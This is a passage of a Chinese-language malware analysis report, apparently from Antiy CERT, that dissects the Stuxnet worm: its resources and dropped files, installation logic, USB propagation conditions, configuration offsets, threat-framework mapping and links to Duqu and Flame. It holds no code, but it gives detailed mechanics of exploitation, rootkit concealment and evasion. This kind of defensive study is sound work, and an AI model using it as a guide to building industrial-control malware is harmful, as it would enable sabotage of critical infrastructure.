震网系列攻击也全面昭示了工业基础设施可能被全面入侵渗透乃至完成战场预制的风险，震网的成功是建立在火焰、毒曲恶意代码的长期运行、信息采集的基础上。在攻击伊朗铀离心设施之前，攻击方已经入侵渗透了伊朗的多家主要国防工业和基础工业厂商，包括设备生产商、供应商、软件开发商等，表2-2是多个企业遭遇入侵的事件。
**表 2-2 伊朗基础工业体系遭遇渗透的情况**
**公司** | **地理位置** | **被攻击时间** | **主要业务**
---|---|---|---
**FOOLAD Technic Engineering Co(FIECO)** | 伊朗 伊斯法罕 | 2009/6/23 2010/4/26 |
该公司为伊朗工业设施（主要为生产钢铁和电力）生产自动化系统，拥有许多伊朗最大的工业企业的数据、图纸和计划。
**Behpajooh Co. Elec & Comp. Engineering** | 伊朗 伊斯法罕 | 2009/6/28 2010/3/23
2010/5/13 2010/7 | 开发工业自动化系统，拥有SCADA/PLC的专家。
**Neda Industrial Group** | 伊朗 | 2009/7/7 | 为水电站、水泥、以及石油、天然气及石化领域提供工业自动化服务。
**Control-Gostar Jahed Company** | 伊朗 | 2009/7/7 |
伊朗的一家工业自动化公司，与伊朗最大的石油生产、冶金、能源等企业有着非常深入的合作。
**Kala Electric** | 伊朗 | 2010/5/11 |
是铀浓缩离心机设备IR-1最主要的供应商，报道称在1997年至2002年间，伊朗在Kala组装和测试IR-1。
**Mobarakeh Steel Company(MSC)** | 伊朗 | 2010/4/24 |
该公司是伊朗最大的钢铁制造商，伊朗经营规模最大的工业园区之一。
### **3、震网整体结构和运行逻辑**
震网的结构非常复杂。其中又经历了从0.5到1.x的版本更迭，其破坏机理从以干扰离心机阀门、造成超压导致离心机批量损坏调整为修改离心机转数。同时其开发框架也发生了变化。我们以流行更为广泛的1.x版本为对象，进行整体结构和运行逻辑梳理。震网的核心是仅在内存中解密存在的DLL文件（以下简称主DLL文件）。DLL文件包含32种不同的导出函数以及15种不同的资源，每一个导出函数都有不同的控制功能，其中主要涉及导出函数15（初始入口点）、导出函数16（安装）、导出函数32（感染连接的移动设备，启动RPC服务）、导出函数2（钩挂API以感染Step7工程文件）等；每个资源也分别执行不同的功能，主要涉及资源250、资源201、资源242等；导出函数正是利用这些不同功能的资源来控制震网执行不同的分支操作。
**表 3-1 Stuxnet Dropper资源列表**
**资源** **ID** | **功能**
---|---
**201** | MRxNet.sys加载驱动，Realtek签名
**202** | 感染Step 7的DLL
**203** | 感染WinCC的CAB文件
**205** | 资源201的数据文件
**207** | 震网的自动运行版本
**208** | Step 7 替换DLL
**209** | 数据文件（%windows%\help\winmic.fts）
**210** | 用来注入的PE模板文件
**221** | 通过SMB传播的MS08-067利用
**222** | MS10-061打印机后台处理程序漏洞利用
**231** | 网络连接检查
**240** | 用来创建LNK利用的LNK模板文件
**241** | USB Loader DLL ~WTR4141.tmp
**242** | Mrxcls.sys rootkit 驱动
**250** | Windows Win32k.sys本地权限提升（MS10-073）的利用
Stuxnet Dropper的资源在安装执行过程中会释放载荷，震网落地文件如表3-2所示。
**落地文件主要名称** | **文件功能 ** _*/_** *资源** **ID**
---|---
**~WTR4141.tmp** | usb loader
**~DF540C.tmp** | 状态标记文件
**~wtr4132.tmp** | USB感染中的dropper名
**DEFRAG[RANDLNT].tmp** | 共享感染中的dropper名
**Oem7a.pnf** | 加密的主dll
**mdmeric3.PNF** | 90字节的数据文件
**mdmcpq3.PNF** | Stuxnet配置文件
**oem6C.PNF** | 日志
**MrxCls.sys** | 资源242
**MrxNet.sys** | 资源201
**s7otbxdx.dll** | 被替换的Step7文件
**s7hkimdb.dll** | 资源202（stuxnet loader）
**cc_tlg7.sav** | CAB文件 包 含一个加载和执行Stuxnet的DLL
**winmic.fts** | 资源209（数据文件）
**winsta.exe** | 利用打印机漏洞传播时释放的可执行文件版Stuxnet
**sysnullevnt.mof** | 托管对象格式文件
**~WTR4141.tmp** | usb loader
**~DF540C.tmp** | 状态标记文件
按资源类型，对照其编译时间戳，获得PE类型资源版本迭代，如图3-1所示，由图能够看出资源202、210都存在3个可能的版本，资源208存在2个可能的版本，其余各资源都仅有1个版本。另外资源207、231仅存在少数样本，在后续版本的Stuxnet中已经删除。
**图 3-1 PE类型资源版本迭代**
安天CERT基于对震网样本集及已有数据的分析，绘制了震网整体运行框架，它包含传播和安装执行。
**图 3-2 震网整体运行框架图**
震网的传播主要包括两种方式，一种是移动设备感染，利用LNK漏洞或者通过autorun.inf文件进行传播；另一种是网络传播，涉及WinCC数据库感染、网络共享传播、打印机后台处理程序漏洞传播、Windows服务器漏洞传播等多种方式。这两种传播方式虽然不同，但最终都会释放主DLL文件，进行后续的安装和执行操作。震网感染目标系统后，会启动RPC服务器监听网络，将网络上其他感染计算机都连接到RPC服务器，并查询远程计算机安装的震网版本，以执行对等通信和更新，如果远程计算机上的震网版本较新，则本地计算机就会请求新版本并自我更新，如果远程机器上的震网版本较旧，则本地计算机上的震网就将自身副本发送给远程机器。这样，震网可以在任何感染机器上更新并最终传播到所有机器。
在安装执行中，传播释放的主DLL文件首次加载时调用导出函数15执行一系列检查工作，包括检查配置数据是否为最新、检查操作系统是否为64位、检查操作系统版本是否匹配，如果不符合其安装执行要求，则退出；此外，检查目标系统是否具备管理员权限，如果不具备，则利用资源250中两个当时的零日漏洞进行提权以获取最高权限；之后，检查目标系统安装了哪些反病毒软件以及哪个进程适合注入；导出函数15完成上述规定的检查后，震网就会调用导出函数16。
导出函数16是震网的主安装程序。首先，检查目标系统配置是否匹配、注册表键值是否为特定值、当前时间是否小于终止时间，如果不符合这些安装执行要求，则退出；继续执行，震网通过创建全局互斥量与不同的组件通信，并再次检查目标系统当前时间，确保只在小于终止时间的目标系统上执行；从磁盘中读取其加密版本，解密、加载到内存中，从新加载的文件中调用导出函数6，获取自身配置数据的版本信息，如果与磁盘文件的版本相同，则继续执行；震网提取、解密资源201和资源242，并将两个驱动文件写入磁盘，分别用于持久化和隐藏恶意文件，为了规避检测，震网会修改这两个文件的时间以匹配目标系统目录下的其他文件时间；创建rootkit服务和注册表，以实现震网的持久化，并再次创建全局互斥量；为了继续安装和传播，震网将控制权传递给其他导出函数，一种是将主DLL文件注入service.exe进程，并调用导出函数32，以感染新连接的移动设备，以及启动RPC服务器，另一种是将主DLL文件注入Step7进程，并调用导出函数2，以感染所有指定的Step7文件。
### **4、威胁框架视角下的震网解读**
能够研发类似震网的复杂高级的恶意代码，是源自高级网空威胁行为体具有充足资源和成本支撑能力。其作业过程具有庞大的工程体系和人员团队为支撑条件，是一系列复杂的动作组合。与此同时，复杂的过程并不必然全部由“高级”攻击手段和“高级”装备支撑。防御方的一些低级配置错误和未及时修补的漏洞会成为威胁行为体攻击的入口；高级网空威胁行为体也会劫持和利用低级网空威胁行为体所掌控的僵尸网络等资源，这些都使局面更为复杂。
解读复杂的攻击行动，并驱动防御的改善，需要有更理想的结构化方法。杀伤链等模型用于解构震网式的复杂攻击，依然显得不足，需要进一步改善。威胁框架作为一种对攻击过程更为结构化和数据化的描述方法，开始成为改善防御能力的威胁认知基础。当前较为流行的威胁框架主要有MITRE提出的ATT&CK，和NSA提出的《NSA/CSS技术网空威胁框架》（NSA/CSS
Technical Cyber Threat
Framework）。后者对前者做了一定的借鉴工作。鉴于NSA/CSS技术网空威胁框架，更具有情报机构的背景，因此更适合推演类似震网级别的A2PT攻击。
从威胁框架出发，针对威胁每个阶段、逐个行为推演，无论对评估当前防御体系及相关安全产品能力的有效性和合理性，还是对形成体系化的防御规划与建设目标，都是一种有益的工作。2019年6月，安天发布的“方程式组织”攻击SWIFT服务提供商EastNets事件复盘分析报告中[5]，将事件涉及的威胁行为映射到了“NSA/CSS威胁框架”V2版本中。
将震网事件涉及到的威胁行为映射到威胁框架的类别与动作，如图4-1所示。
**图 4-1 震网事件映射到威胁框架**
在震网行动中共涉及21个目标中的83种行为，其中包括推测的和确定执行的行为。
**表 4-1 震网事件中涉及的类别与动作**
**威胁框架类别** | **威胁框架动作** | **具体行为**
---|---|---
**Administration** **（行动管理与资源保障）** | 规划 |
可能存在对行动过程分析；在发起攻击前可能会先确定战略与目标、预先制定行动计划、选择目标受害者和获得执行行动的批准；
资源开发 | 在行动前，搭建模拟靶场环境进行测试；在行动前可能会获取行动需要的基础设施、资金、联盟和伙伴，并对相关人员进行培训； |
研究 | 可能会存在对目标进行收集信息，研究目标网络能力； |
**Preparation ** _*（_ * **目标勘察与环境整备）** | 侦察 | 可能会选择潜在受害者调查网络环境与设备；
环境预置 | 应用数据文件中添加可利用点；分配行动所需基础设施；可能会对目标进行预制载荷； |
**Engagement** **（接触目标与进攻突防）** | 投递 |
通过可移动介质投递载荷；利用漏洞投递载荷；利用受感染主机投递载荷；通过硬编码数据库服务器密码感染WinCC机器；可能会通过对目标供应链/授信源入侵；
利用 |
RPC远程执行漏洞（MS08-067）；快捷方式文件解析漏洞（MS10-046）；打印机后台程序服务漏洞（MS10-061）；内核模式驱动程序漏洞（MS10-073）；任务计划程序程序漏洞（MS10-092）；
|
**Presence** **（持久化驻留潜伏）** | 执行 | 注入lsass.exe与csrss.exe等系统进程；以特殊方式注入自身；替换西门子
step7驱动文件；运行无文件载荷；使用KERNEL32.DLL.ASLR.XXXX这样的DLLName调用LoadLibraryA以加载主DLL文件；利用远程服务；写入多个PNF文件；
内部侦察 | 枚举账户和权限；检测安全产品；通过注册表查找特定键；枚举进程；扫描连接的移动设备； |
提权 | 快捷方式文件解析漏洞；RPC远程执行漏洞；打印机后台程序服务漏洞；Windows Win32K.sys本地提权（MS10-073）； |
凭证访问 | 转储凭证、定位凭证； |
横向移动 |
利用对等网络；利用密码哈希认证；通过利用一个漏洞，允许自动执行可移动驱动器；通过网络共享在远程计算机中复制和执行其本身；写入远程文件共享；通过硬编码数据库服务器密码感染WinCC机器；
|
持久化 | MrxCIs.sys驱动文件会注册成为启动服务；创建新服务；修改服务配置；利用库搜索劫持； |
**Effect** **（致效能力运用）** | 监控 | 将信息记录到oem6c.pnf文件中；监控插入的USB设备；
渗出 | 泄露数据或信息；将数据存储到指定位置；通过HTTP向攻击者发送被感染机器的基本信息； |
修改 | 在PLC上隐藏修订的代码，基本上是PLC的rootkit；修改进程结果；通过修改可编程逻辑控制器代码重新编程工业控制系统；修改机器间通信； |
破坏 | 破坏工业控制系统离心机； |
**Ongoing Processes** **（全程持续支撑作业）** | 分析、评估、反馈 | 可能存在对目标的影响进行评估；
命令与控制 |
建立对等网络；通过HTTP向攻击者发送被感染机器的基本信息；利用对等连接；通过RPC对等网络更新；检查网络连接；通过命令和控件响应执行加密二进制代码； |
规避 |
采用反取证措施；采用反逆向工程措施；使用rootkit；编码数据；加密配制和附加数据；JMicron和Realtek签署的数字签名证书；操纵受信进程；修改恶意代码以规避检测、混淆数据；根据配置文件调整行为；
|
针对震网级别的攻击，需要重点关注的是其决策和准备过程，类似如此复杂精密的攻击，如果不搭建一个完全等效的模拟靶场环境，是很难达成效果的。如果仅仅把目光放在恶意代码和漏洞利用工具本身，而不能就行动管理与资源保障、目标勘察与环境整备等前期环节进行深入的分析，就一定程度上失去了引入威胁框架的意义。但无疑，这一部分的分析更为困难和复杂。
从威胁框架视角重新梳理震网，也让我们可以解开“Michael之问”。2014年3月，洛克希德?马丁公司的高级研究员Michael在博客上对震网事件的意图和能力两个方面进行了分析，提出了“Why
Stuxnet Isn't APT？” [6] 这一设问。在这篇文献中，Michael
以震网的传播失控和明显的物理空间后果不符合APT的高度定向性和隐蔽性、震网比常见的APT攻击更为高级等方面进行了论述，其更倾向于震网是一种作战行动，而非APT攻击。Michael关于震网是一种比APT更高级的观点，与安天将震网级别的攻击命名为
A2PT
观点是相近的。但从Michael的根本观念是将APT与CNE（网络情报利用）相映射的，因此当震网以达成CNA（网络攻击、作战）为目的的情况下，则提出这种质疑是有道理的。但在现实场景下，很难生硬的把CNE与CNA割裂开，CNE通常是CNA的基础。CNE转化为CNA可能只是指令与策略的调整。在威胁框架体系中，CNA的动作是致效能力运用中的中的若干动作环节，这就将CNE与CNA良好的统合到一个框架体系中，从而能更好的推动分析与防御改善的体系的改善。
### **5、震网的USB摆渡与传播“失控”的原因**
震网是针对非常特殊的工业场景进行攻击的恶意代码，2019年，有相关媒体报道，震网病毒进入到伊朗相关物理隔离的工业网，是依靠荷兰情报人员在攻击方的要求下招募了“内鬼”[7]。而在内网中，震网主要的传播方式为借助USB摆渡+基于漏洞的横向移动。其预设的攻击场景是与互联网隔离的内部网络。安天在最早的分析报告[1]中，对于其传播机理，以图5-1进行了说明：
**图 5-1 样本的多种传播方式**
整体的传播思路是：染毒U盘利用快捷方式文件解析漏洞，传播到内部网络；在内网中，通过快捷方式解析漏洞、RPC远程执行漏洞、打印机后台程序服务漏洞，实现联网主机之间的传播；最后抵达安装了WinCC软件的主机，展开攻击。在这一过程中，亦存在染毒主机对插入的U盘进行感染的过程，但经过安天分析这一动作并非是无条件的。
**图 5-2 U盘感染过程中配置文件解析**
感染震网的计算机会监控接入的设备，一旦发现U盘插入且满足条件即开始写入U盘摆渡文件，具体条件如下：
* 当前时间的U盘没有被感染；
* 根据配置标记（不是默认设置）来感染磁盘，如果默认配置不感染，那么感染的发生取决于日期；
* 感染当前计算机少于21天；
* U盘至少有5MB的剩余空间；
* U盘至少有3个文件。
USB文件和加载攻击逻辑如图5-3所示，含4个适用于不同Windows版本的LNK快捷方式漏洞（CVE-2010-2568）文件和2个TMP文件（~WTR4141.tmp是USB
Loader，~WTR4132.tmp是Dropper，均为DLL格式，文件属性为隐藏、系统），震网通过rootkit隐藏这6个文件，因此被震网感染的计算机上并不能看到U盘里的这些文件。
U盘摆渡攻击过程为：被感染的U盘插入新的计算机，用户打开此U盘，系统开始遍历U盘目录文件，当遍历到LNK文件时漏洞触发加载~WTR4141.tmp执行，~WTR4141.tmp首先会挂钩文件相关函数隐藏这6个文件（在打开U盘的一瞬间可以看到这4个LNK文件，如果开启了显示隐藏和系统文件选项，还可以看到2个TMP文件，但瞬间漏洞触发这6个文件全部隐藏在文件夹下看不到了），随后~WTR4141.tmp在内存中加载调用~WTR4132.tmp完成震网的主模块执行。
**图 5-3 USB文件和加载攻击逻辑示意图**
Stuxnet是否感染到U盘，取决于加密配置文件mdmcpq3.pnf中的多个值，包括：
* 偏移0x6c、0x70、0xc8处的标记位；
* 偏移0x78、0x7c处的时间戳；
* 偏移0x80、0x84处的数值。
只有当每个值对应的条件都满足时，才会感染U盘。其中，偏移0xc8处的位默认设置为不感染。
Stuxnet不会主动修改配置数据，配置的更新通过版本更新来完成。因此，我们认为它是尝试连接因特网来判断自己是否在内部网络中。如果是，就只通过其他途径传播；只有通过连接服务器或其他被感染主机更新之后，才感染U盘。
当Stuxnet感染U盘时，拷贝多个.lnk快捷方式文件和两个.tmp文件到根目录。这两个.tmp文件，一个是用于隐藏它们自身的驱动程序，带有数字签名；另一个是病毒体本身以及一个投放器，配置信息已经存在于病毒体中。
根据赛门铁克在2010年7月-10月监测的震网攻击数据，全球155个国家的计算机被感染，其中约60%的受害主机位于伊朗境内[8]。对于一次被认为是应具有高度定向性质的作业行动，却呈现出发散性传播效果的原因，目前各分析方给出了多种不同猜测：
第一种猜测是，各种原因导致了传播失控。尽管震网本身的USB摆渡+横向移动设计，使其只能在内网传播。但由于其本身的传播和攻击策略是基于隔离网络目标设计，要达成一种无实时远控作业，因此多数条件下只能以预设停止传播时间等因素，而无法像基于互联网的攻击作业一样，进行远程遥控和调整。由于蠕虫感染了供应商工程师带入现场的笔记本设备，之后又被带入到供应商自身的网络中和其他客户的内网中。内网的VPN互联也加剧了这种传播，最终导致震网的传播失控。这种观点与一些实际情况有一定冲突，比如震网0.5版本，作业周期较长，达成了攻击目的，但并未发生扩散传播。
第二种猜测是，这是作业方为获取更多信息有意为之。其目的是根据感染链条，进一步了解伊朗核工业体系供应商的情况。德国控制系统安全顾问Ralph
Langner在《Stuxnet’s Secret
Twin》（震网蠕虫的秘密变种）[9]中的一个推测是这种外部扩散，是因为攻击者希望借机获取到与伊朗相关设施的供应商的情报。他指出“鉴于Stuxnet将受感染系统的IP地址、主机名以及基本配置信息上报给其C&C服务器，看来攻击者显然预期（并接受）传播到非军用系统，且相当渴望密切监测它—攻击者最终将获取在纳坦兹工作的承包商以及其客户的信息，甚至伊朗秘密核设施的信息。”
第三种猜测是作业方为了掩盖定向攻击意图，以感染范围的扩大提升取证溯源的难度。包括干扰对真实攻击目标更准确的判断和定位。
第四种猜测是攻击方展示能力，达成对他国恐吓甚至讹诈的需要。如果事件单一的发生于伊朗，可能导致此事件最终不会浮出水面。而只有放任其“越狱”传播，才有可能更快达成此种效果。在《Stuxnet’s
Secret Twin》（震网蠕虫的秘密变种）一文中，Ralph
Langner同样猜想，“Stuxnet被发现意味着行动的终结，但是它的实用性并不一定结束，它将向世界展示网络武器在超级大国手中可以做什么。因为不同于实体军事装备的展示，阅兵时是无法展示U盘。攻击者也可能关注另一个国家，最坏的情况下是一个对手；而且将第一个证明其在数字领域的能力
--这个场景简直可以说是超级大国历史上的另一个Sputnik（放卫星）的时刻。所有这些理由使得攻击者不必太过担心被检测到。”
震网的发散性传播到底是一种“失控”，还是攻击方有意所为，或者两者因素都存在。最终的效果可能并非是某个单一原因，而是多个因素的组合。
### **6、震网为何有数千个样本？**
作为一种目标高度定向的攻击行动，一个曾令人费解的事实是，震网并不具备感染其他宿主文件的属性，但却有大量的样本存在。
在恶意代码对抗工作中，样本被视为一种重要的基础资源。样本被视为恶意代码所对应的一种实体文件形态，包括带有感染式病毒的宿主文件、非感染式恶意代码的文件、以及恶意代码所存在的扇区或内存的文件镜像。在威胁对抗的深度从最初的检测、查杀，逐渐扩展到响应，深度机理分析和溯源中，我们也发现对样本的需求和定义开始发生一些变化。调查/猎杀意义上的样本和传统检测意义上的样本存在着差异，传统检测意义的样本既包含在现场场景中所采集的文件，同时也包含了为了测试反病毒引擎的能力以及分析中所二次构造出的样本变换结果。对于检测和清除能力来说，进行这种样本构造是必须完成的，例如在样本规范中，特别是对于感染式病毒来说，为保证检测和清除效果的检验，相关业内标准在DOS时代就提出过根据DOS_COM、DOS_MZ等文件大小，被感染文件要达到规定的数量，对于变形病毒的样本，还有需要构造出更多数量的样本的要求。而对调查/猎杀意义来说，在攻击场景中客观存在则成为一种重要的需要被标识出的样本属性。
安天捕获的震网样本集合是数以千计的，但这些样本可以分成几个不同的标识维度，基于U盘摆渡的原始载荷形态、在主机上落地的文件、不落地的模块（需要静态拆离或动态Dump）等等。一类是从其中拆解出的最终攻击载荷（在实际的攻击中多数是不落地的）和一些辅助的驱动等。从磁盘介质提取的实体文件数量较多的主要分为三种：攻击载荷释放器Dropper（原始文件名为~WTR4132.tmp）、移动介质载荷加载器USB
Loader（~WTR4141.tmp）和LNK漏洞利用文件，其中Dropper样本数量呈现发散态，从安天所掌握的数量来看，在千数量级别。而最终的攻击功能模块载荷和辅助驱动在百数量级，总数呈现收敛态。
震网样本集的分类情况如图6-1所示。
**图 6-1 震网样本集分类**
安天CERT分析发现，造成震网样本集基数较大的原因是：
**1\. Dropper样本在落地时写入目标配置导致文件变化**
攻击载荷释放器Dropper存在一个名为stub的资源段，攻击载荷（即主DLL）即存在于这个字段中。而在病毒落地时，stub段中存储的配置数据会被当前感染节点的相关信息数据更新，这是导致震网样本集数量多的一个最主要原因。也就是说，每次落地震网都会再形成一个HASH不同的Dropper。这就导致了震网的样本集从HASH数量上看，呈现发散状态。而样本集中Dropper功能的真实“版本”是有限的，Dropper中98.84%的导入表相同，有91%的样本text段单独拆离出的文件是完全一致的，MD5值均为17e2270d82d774b7f06902fa7d630c74，这是一个发生规模感染的Dropper主力版本。
**图 6-2 Dropper导入表统计**
stub段作为主DLL存放的位置，其布局解析如表6-1所示。
**表 6-1 stub段布局解析**
**偏移** | **长度** | **解释**
---|---|---
+00 | Dword | 标志位
+04 | Dword | 主DLL起始位置相对当前位置偏移
+08 | Dword | 主DLL长度
解密主DLL的函数如下：
**图 6-3 主DLL函数解密**
主DLL之后的数据中存在加密的配置信息，能够在感染过程中控制震网的具体行为，使得震网具备在无法远程控制的情况下，依然可以按照预设策略工作，确保其复杂的作业可以成功。其配置文件也记录了被感染机器信息和时间等特征，这样做的目的可能是攻击者希望这些信息在感染时被提取记录，一旦联网时可以直接将相关信息提交给C2，而不用做二次提取操作，减少对主机环境操作，以减少暴露的机会。
部分解密后的配置信息如下：
**图 6-4 部分解密后的配置信息**
表6-2是部分配置内容的解析，这些值能够控制震网在受害主机上的行为，具体内容包括：通过+A4值控制开始感染时间，如果这个值不能满足感染要求，则退出；通过+78值控制控制终止感染USB的时间，以及涉及控制震网传播、版本更新等值。在解密后的配置信息中这种控制震网行为的值有近百个，正是这些值来控制震网的复杂行为。
**表 6-2 部分配置内容解析**
**偏移** | **长度** | **解释**
---|---|---
**+00** | Dword | 配置文件起始标志
**+04** | Dword | 配置文件头长度
**+08** | Dword | 配置文件校验和
**+0C** | Dword | 配置文件长度
**+68** | Dword | 标志位，若为0则检查+70处标志（为1则直接感染USB）
**+70** | Dword | 标志位 若为0则检查+78处的时间戳
**+78** | Qword | 终止感染USB的时间
**+80** | Dword | 在USB上需存在的文件数
**+8C** | Qword | 终止时间
**+A4** | Qword | 开始感染时间（超过此时间21天，则停止对USB进行感染）
**…** | … | …
Dropper的配置文件校验函数：
**图 6-5 Dropper的配置文件校验函数**
配置块的一些关键信息：如感染路径、感染时间、配置块长度，通过提取配置数据分析后发现，由于在每次感染新的设备后，其自身都会更新数据配置块，致使每感染一台设备，Stuxnet就会多出一个含有新配置的Dropper样本，图6-6为震网开始感染时间的数量分布图，其中2008年-2010年为可信度较高的感染时间，而2000年-2007年为可信度较低的感染时间。
**图 6-6 开始感染时间数量分布图（由于内网主机可能的存在时钟不同步问题导致错误的启示时间）**
在震网的安装执行过程中会多次检查目标系统当前时间，如果目标系统时间大于终止时间，震网就会退出安装执行过程。图6-7是震网1.x版本终止U盘感染时间的统计，它有三个终止U盘感染时间：2010年7月31日、2010年8月31日、2010年12月31日，其中绝大多数的终止U盘感染时间为2010年12月31日。
**图 6-7 终止U盘感染时间统计**
**2\. 分析提取工作导致的**
将震网的各个功能载荷从主DLL中剥离出来，是震网分析中的重要工作，这带来了一种新的样本统计上需要考虑的因素，即何为原始样本，何为处理中的过程数据。震网主DLL文件在Dropper中采用UPX压缩的方式进行存储，防止样本大小过大，减少传播机会。在实际感染过程中主DLL不会落地，在样本集中有UPX加壳的主DLL文件，在实际样本集中存在，因Dump导致的不同版本，未脱壳版本，不同脱壳方式生成的版本等情况。
在 A2PT
组织作业使用落地的样本中，很少看到使用壳的情况，这可能与一些杀毒软件会对壳报警、或输出日志相关。但震网主DLL文件在Dropper是采用UPX壳压缩的（毒曲也是如此），究其原因，应是出于减小文件体积的考虑。
**图 6-8 未完全脱壳文件**
**3\. 干扰数据**
在震网的USB
Loader样本集中，有数以百计的样本文件签名损坏，且大量该类文件的尾部还追加了其他的LNK文件和某种反病毒产品的报警日志，从目前分析来看，这是某款反病毒产品的产品Bug导致的，其某版本在扫描样本时，会错误的样本后面追加数据，从而引入数百被破坏的样本。
**图 6-9 USB Loader尾部追加LNK文件**
### **7、恶意代码框架与多起 A 2PT 的事件关联**
在震网事件曝光前后，包括毒曲、高斯、火焰等高级恶意代码被陆续曝光，由于这些恶意代码都空前复杂，且往往多在中东国家被发现，因此怀疑其相互间存在某种意义的关联，也成为了一种比较自然的猜想。
安天CERT在2011初提出了震网和毒曲可能存在某种关联关系的猜测，但直到次年初，才完成比较系统的验证。发布了《探索Duqu木马的身世之谜》[10]、《从Duqu病毒与Stuxnet蠕虫的同源性看工业控制系统安全》[11]两篇文献，分别从模块结构相似性分析、编译器架构相似性分析、关键功能实现相似性分析、密钥与其他关键数据相似性分析、编码心理特点分析、相同的程序Bug分析等角度，证实了两者存在同源关联关系。
**图 7-1 毒曲病毒与震网蠕虫的代码片断比较**
**图 7-2 毒曲病毒与震网蠕虫使用相同密钥**
安天在当时做出的结论是“通过对毒曲病毒与震网蠕虫关键代码结构、密钥使用方法和代码逻辑等的比较，我们发现了大量相同或相似的代码片断，这说明两者间存在代码复用关系，或者两者基于相同的代码框架开发。”但对于是复用关系，还是同框架开发这一问题，当时并未给出定论。而融合其他机构的后期分析成果和进展，可以形成的结论是，相关
A2PT
攻击组织至少维护了Tilded和Flamer两个恶意代码框架。震网、毒曲与火焰、高斯分别是基于Tilded和Flamer框架开发的。2012年6月11日，卡巴斯基发布报告称2009年早期版本的（即0.5版）Stuxnet模块（称为“Resource
207”）实际上是一个Flame插件。而这一成果也将Flamer和Tilded这两个完全不同的框架串接了起来。基于这两个框架的恶意代码在感染目标系统和执行主要任务方面具有独特的技巧，均用来开发不同的网空攻击装备。卡巴斯基提出的结论是：两个框架背后的团队曾经共享过至少一个模块的源代码，表明他们至少有一次团队合作，是属于同一机构的两个平行项目[12]。基于更多的线索，还可以把Fanny和Flowershop与上述事件串接到一起，它们的关系如图7-3所示。
**图 7-3 震网和毒曲、火焰、高斯、Fanny、Flowershop关系图**
##### **7.1 Flamer框架**
Flamer框架的开发时间可以追溯至2006年12月，火焰和高斯是基于Flamer框架开发的。安天于2012年5月28日起陆续捕获到火焰蠕虫的样本[13]，并成立了专门的分析小组进行持续分析，发现火焰是采用多模块化复杂结构实现的信息窃取类型的恶意软件。其主模块文件大小超过6MB，包含了大量加密数据、内嵌脚本（如Lua等）、漏洞攻击代码、模块配置文件、多种加密压缩算法，信息盗取等多种模块。
火焰的两个主要版本为Flame 1.0和Flame 2.0，两个版本均由依赖于嵌入式Lua
VM的主协调器指示的多个子模块组成。火焰和高斯之间包含一些相同代码，同时共享MiniFlame恶意软件插件。
##### **7.2 Tilded框架**
震网和毒曲是基于Tilded框架开发的。Tilded框架感染方式一般可以归纳为利用驱动程序文件，加载一个设计为加密库的主模块。同时，整个恶意复合体有一个单独的配置文件，系统注册表中有一个加密块，用于定义正在加载的模块的位置和注入过程的名称。
震网已知的版本包括Stuxnet0.5、Stuxnet1.001和Stuxnet1.100。Stuxnet0.5是震网的早期版本，但是后被发现曝光，该变种在2009年7月4日停止了对计算机的攻击。Stuxnet0.5与Stuxnet1.x版本的主要区别包括：Stuxnet1.x版本显著增加了传播和漏洞利用能力；Stuxnet0.5是部分基于Flamer框架的，而Stuxnet1.x版本主要基于Tilded框架；Stuxnet0.5采用导致超压的方式，大规模破坏离心机，而Stuxnet1.x版本采取了新的攻击策略，从铀浓缩阀破坏变成对离心机速度的修改。
**表 7-1 震网0.5与1.x版本技术细节全面对比**
**版本** | **时间** | **说明** | 漏洞利用情况 | 传播技术演变 | 平台演变 | **攻击策略演变**
---|---|---|---|---|---|---
**0.500** | 2005/11/3 | C&C 服务器注册 | CVE-2012-3015—Step7 安全库加载； | 通过感染Step7项目文件
通过USB执行Step7 通过mailslot更新对等网络 | 基于Flamer平台 |
针对S7-400（417）PLCs的完整的代码序列（在铀浓缩过程中修改级联保护系统阀门操作）
**0.500** | 2005/11/15 | 提交到公共扫描服务的日期 | | | |
**0.500** | 2009/6/4 | 感染停止日期 | | | |
**1.001** | 2009/6/12 | 二进制编译时间戳更新 | CVE-2010-2729—打印服务 RCE
CVE-2008-4250—Windows Server Service RPC RCE CVE-2012-3015—Step7 安全库加载
CVE-2010-2772—WinCC 默认口令 MS09-025 NtUserRegisterClassExWow /NtUserMessagerCall
EOP | 通过感染Step7项目文件 通过USB实现自启动 网络共享 Windows Server RPC Printer spooler
WinCC服务器 通过RPC更新对等网络 | 主要基于Tilded平台 | 针对S7-300（315）PLCs的代码 （控制了旋转离心机的速度） 针对417
PLCs的不完整的代码序列
**1.100** **1.001** | 2010/3/1 2010/4/14 | 二进制编译时间戳更新 |
CVE-2010-3888—任务调度程序EOP CVE-2010-2743--LoadKeyboardLayout EOP
CVE-2010-2729—打印服务 RCE CVE-2008-4250—Windows Server Service RPC RCE
CVE-2012-3015—Step7 安全库加载 CVE-2010-2772—WinCC 默认口令 CVE-2010-2568—Shortcut .lnk
RCE | Step7项目文件 通过USB触发CVE-2010-2568 网络共享 Windows Server RPC Printer spooler
WinCC服务器 通过RPC更新对等网络 | |
毒曲的主要版本包括Duqu1.0、Duqu1.5和Duqu2.0。Duqu与Duqu2.0之间使用统一算法以及复用大量相同代码，Duqu1.0和Duqu2.0之间攻击目标有很多重合，Duqu1.5和Duqu2.0之间均使用了Pipe
Backdoor插件。
震网和毒曲之间在模块结构、编译器结构、关键功能、数据结构、病毒作者心理等方面具有同源性[14]，此外，震网和Duqu1.0、Duqu2.0均采用窃取自中国台湾IT厂商的数字证书。
##### **7.3 震网与Fanny、Flowershop的关联**
从图7-3中能够看出，震网除了与毒曲、火焰具有一定关联之外，其与Fanny、Flowershop也具有一定的关联。
Stuxshop是震网的早期组件，用于管理早期C2。Stuxshop与Flowershop（活跃于2002年至2013年的恶意软件平台）之间存在代码重叠或共享。
方程式早期组件Fanny，其使用了两个震网的0day漏洞，即LNK漏洞（CVE-2010-2568）以及嵌入在“Resource
207”中的提权漏洞。此外，震网和方程式开发者之间共享编码风格，或者使用同样的开发规范手册。
### **8、直面检测引擎与威胁情报的挑战**
在安天此前的分析报告中，针对 A2PT
带来的防御挑战，进行过一些论述和探讨，而针对震网的复盘，我们希望聚焦一个具体的问题，高级恶意代码对检测引擎和威胁情报的挑战。
